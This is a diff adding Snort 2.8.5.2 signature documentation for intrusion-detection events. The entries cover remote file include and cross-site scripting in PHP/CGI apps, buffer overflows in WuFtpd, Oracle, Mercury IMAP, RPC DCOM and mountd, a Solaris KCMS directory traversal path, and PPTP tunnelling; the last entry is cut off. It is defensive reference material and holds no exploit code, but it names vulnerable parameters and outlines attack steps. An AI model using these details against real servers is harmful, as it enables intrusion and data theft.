+++ snort-2.8.5.2/doc/signatures/100000677.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000677
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Harpia" application running on a webserver. 
+Access to the file "topics.php" using a remote file being passed as the 
+"header_prog" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "header_prog" parameter in the "topics.php" script used 
+by the "Harpia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Harpia
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2716.txt
+++ snort-2.8.5.2/doc/signatures/2716.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2716
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure end_load
+. This procedure is included in
+dbms_offline_snapshot.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2343.txt
+++ snort-2.8.5.2/doc/signatures/2343.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2343
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer 
+overflow vulnerability associated with WuFtpd STOR command. 
+
+--
+Impact:
+Remote access.  A successful attack may permit the remote execution of 
+arbitrary commands with system privileges.
+
+--
+Detailed Information:
+WuFtpd is an FTP server based on BSD ftpd. A vulnerability exists 
+with the STOR command that can cause a buffer overflow and permit the 
+execution of arbitrary commands with system privileges. The buffer 
+overflow can be caused by supplying an overly long argument to the STOR 
+command.
+
+The issue exists in the SockPrintf() function. A server using the
+MAIL_ADMIN option to send email notifications to the administrator when
+files are uploaded to the server, is vulnerable to the attack. It is
+possible for an attacker to send malformed data to the store() function
+via sockprintf() that will cause the overflow condition to occur, the
+error can be generated by the attacker creating a filename greater than
+32768 bytes in length.
+
+--
+Affected Systems:
+	
+
+--
+Attack Scenarios:
+An attacker can supply an overly long file argument with the STOR 
+command, causing a buffer overflow.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Use scp as an alternative to ftp
+
+Disallow ftp access to internal resources from external sources
+
+Disable the MAIL_ADMIN option
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2391.txt
+++ snort-2.8.5.2/doc/signatures/2391.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2391
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer 
+overflow vulnerability associated with WuFtpd APPE command.
+
+--
+Impact:
+Remote access.  A successful attack may permit the remote execution of 
+arbitrary commands with system privileges.
+
+--
+Detailed Information:
+WuFtpd is an FTP server based on BSD ftpd. A vulnerability exists 
+with the APPE command that can cause a buffer overflow and permit the 
+execution of arbitrary commands with system privileges. The buffer 
+overflow can be caused by supplying an overly long argument to the APPE 
+command.
+
+The issue exists in the realpath() function. It is possible for an
+attacker to send malformed data to the realpath() function that will
+cause the overflow condition to occur.
+
+--
+Affected Systems:
+	Multiple systems using affected C libraries, libc
+
+--
+Attack Scenarios:
+An attacker can use one of the publicly available exploit scripts to
+cause the overflow to occur.
+
+--
+Ease of Attack:
+Simple.  Many exploits exist.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Use scp as an alternative to ftp
+
+Disallow ftp access to internal resources from external sources
+
+Recompile binaries statically linked to the system libc implementation
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1737.txt
+++ snort-2.8.5.2/doc/signatures/1737.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1737
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000461.txt
+++ snort-2.8.5.2/doc/signatures/100000461.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000461
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "Open WebMail" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "To" parameter in the "openwebmail-read.pl" 
+script used by the "Open WebMail" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Open WebMail
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000581.txt
+++ snort-2.8.5.2/doc/signatures/100000581.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000581
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "cat_view_hidden.php" using a remote file being passed as 
+the "admin_template_path" parameter may indicate that an exploitation attempt 
+has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"cat_view_hidden.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3071.txt
+++ snort-2.8.5.2/doc/signatures/3071.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+3071
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the several commands of an IMAP service. This
+event is concerned with data supplied as a parameter to the
+"status" command.
+
+--
+Impact:
+A successful attack may cause a denial of service or a buffer overflow
+and the subsequent execution of arbitrary code on a vulnerable server.
+
+--
+Detailed Information:
+This event is generated when excess data is detected in an IMAP command.
+Some IMAP implementations exhibit programming errors that can lead to a
+buffer overflow condition when excess data is supplied to a static
+buffer.
+
+A vulnerability exists in the way that the Mercury Mail IMAP service
+handles several commands.  An excessively long command argument can
+trigger a denial of service or a buffer overflow and the subsequent
+execution of arbitrary code on a vulnerable server.
+
+--
+Affected Systems:
+	Pegasus Mail Mercury Mail Transport System 3.32
+	Pegasus Mail Mercury Mail Transport System 4.01a
+
+--
+Attack Scenarios:
+An attacker can supplied an overly long command, causing denial of
+service or a buffer overflow.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell<bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/914.txt
+++ snort-2.8.5.2/doc/signatures/914.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+914
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a ColdFusion web server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Coldfusion. Many known vulnerabilities exist for this platform and 
+the attack scenarios are legion.
+
+--
+Affected Systems:
+	All systems running ColdFusion
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1558.txt
+++ snort-2.8.5.2/doc/signatures/1558.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1558
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3454.txt
+++ snort-2.8.5.2/doc/signatures/3454.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+3454
+
+--
+Summary:
+This event is generated when an attempt is made to probe for
+information on a host running Arkeia Client Backup server.
+
+--
+Impact:
+This may be reconnaissance to find version or operating
+system information about the Arkeia Client Backup server
+to later run an appropriate exploit.
+
+--
+Detailed Information:
+By default, Arkeia Client Backup servers do not require any
+authentication for informational requests.  An attacker who
+may be planning to exploit a vulnerable version of the software
+may attempt to request file or system information.
+
+--
+Affected Systems:
+	Arkeia version 5.3 and prior.
+
+--
+Attack Scenarios:
+An attacker can attempt to query an Arkeia Client Backup
+server for system or file information.
+
+--
+Ease of Attack:
+Simple.  Exploits are publicly available.
+
+--
+False Positives:
+None known. If you run Arkeia Client Backup on your network,
+make sure that your the variable $EXTERNAL_NET is configured
+to reflect IP addresses outside of your network.  Otherwise,
+this rule will alert on valid internal traffic.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the most current non-affected version of the product.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+Metasploit:
+http://metasploit.com/research/arkeia_agent
+
+--
--- snort-2.8.5.2.orig/doc/signatures/682.txt
+++ snort-2.8.5.2/doc/signatures/682.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid: 
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an SQL database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained administrator access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an SQL database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+--
+
+Attack Scenarios: 
+Simple. These are SQL database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Disallow direct access to the SQL server from sources external to the protected network.
+
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1141.txt
+++ snort-2.8.5.2/doc/signatures/1141.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1141
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000785.txt
+++ snort-2.8.5.2/doc/signatures/100000785.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000785
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "ATutor" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "forgot" parameter in the "password_reminder.php" script used by the "ATutor" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using ATutor
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000440.txt
+++ snort-2.8.5.2/doc/signatures/100000440.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000440
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "CyBoards" application running on a webserver. Access to the file "common.php" using a remote file being passed as the "script_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "script_path" parameter in the "common.php" script used by the "CyBoards" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using CyBoards
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3333.txt
+++ snort-2.8.5.2/doc/signatures/3333.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3333
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2007.txt
+++ snort-2.8.5.2/doc/signatures/2007.txt
@@ -0,0 +1,90 @@
+Rule:
+
+--
+Sid:
+2007
+
+--
+Summary:
+KCMS (Kodak Color Management System) is an RPC (Remote Procedure Call)
+service for Sun Solaris operating systems. It is able to read profiles
+stored on remote machines. It is possible for an attacker to bypass
+directory traversal checks and read any file on the remote system.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources on the machine not limited to user accounts
+and business data.
+
+--
+Detailed Information:
+The attacker first needs to create a directory under
+/etc/openwin/devdata/profiles or /usr/openwin/etc/devdata/profiles,
+using the ToolTalk database server is one method of creating a
+directory. Once this has been achieved, the attacker is then able to
+perform the directory traversal.
+
+The directory traversal allows the attacker to read any file on the
+compromised system. Once a sensitive system file such as the system
+password database has been retrieved, the attacker may use other tools
+at his leisure to discover username and password information. This may
+lead to further system compromise.
+
+The KCMS daemon runs with root privileges and is typically started on
+boot via inetd. The ToolTalk database server is also commonly installed
+and started in this manner. The KCMS daemon usually listens on TCP port
+32871 although this can vary.
+
+--
+Affected Systems:
+	Sun Microsystems Solaris 2.5.1 (Sparc/Intel)
+	Sun Microsystems Solaris 2.6 (Sparc/Intel)
+	Sun Microsystems Solaris 7 (Sparc/Intel)
+	Sun Microsystems Solaris 8 (Sparc/Intel)
+	Sun Microsystems Solaris 9 (Sparc/Intel)
+
+--
+Attack Scenarios:
+The ToolTalk database server procedure TT_ISBUILD can be used to create
+a directory named TT_DB anywhere on a remote system. Creation of this
+directory then allows the attacker to use directory traversal to further
+compromise the machine.
+
+--
+Ease of Attack:
+Once the directory has been created, further compromise is simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disable the KCMS daemon in the file /etc/inetd.conf. Kill any running
+KCMS processes and restart the inet daemon.
+
+Configure your firewall to restrict external access to the TCP and UDP
+port 111 used by the RPC port mapper service and the range used by RPC
+services, typically 32700 to 34000.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.kb.cert.org/vuls/id/850785
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0027
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000796.txt
+++ snort-2.8.5.2/doc/signatures/100000796.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000796
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "Pivot" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "c1" parameter in the "blogroll.php" script used by the "Pivot" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Pivot
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/317.txt
+++ snort-2.8.5.2/doc/signatures/317.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid: 317
+
+--
+Summary:
+This event is generated when an attempt is made to escalate privileges remotely using a vulnerability in mountd.
+
+--
+Impact:
+System compromize presenting the attacker with escalated system privileges .
+
+--
+Detailed Information:
+Some implementations of the Network File System (NFS) on Linux systems use a vulnerable version of mountd that is subject to a buffer overflow condition in the logging subsystem.
+
+The mountd logging facility also logs failed attempts to mount shared resources, even if NFS is not enabled on the system. This means that exploitation of this issue is possible wether or not NFS is being used.
+
+Affected Systems:
+	Caldera OpenLinux Standard 1.2
+	RedHat Linux 2.0, 2.1, 3.0.3, 4.0, 4.1, 4.2, 5.0, 5.1
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/121
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0917
+
+CERT:
+http://www.cert.org/advisories/CA-1998-12.html
+http://www.cert.org/summaries/CS-98-08.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2044.txt
+++ snort-2.8.5.2/doc/signatures/2044.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2044
+
+--
+Summary:
+The Point to Point Tunneling Protocol (PPTP) is used to connect client 
+machines to internal corporate resources using a Virtual Private Network
+(VPN) across a public network such as the Internet via an encrypted 
+session.
+
+
+--
+Impact:
+Possible loss of data from an internal network to an unknown external 
+source.
+
+--
+Detailed Information:
+This event indicates that a PPTP session from an internal resource to an
+unknown external source has been attempted. This may be an indication of
+an attempt to initialize an encrypted session for nefarious purposes.
+
+An internal user may try to use an encrypted tunnel to evade possible 
+detection when transferring files from an internal resource to an 
+unauthorized eternal party.
+
+--
+Affected Systems:
+All systems allowing PPTP connections from an internal to external 
+source.
+
+--
+Attack Scenarios:
+The user only needs to initiate a connection to an external source.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
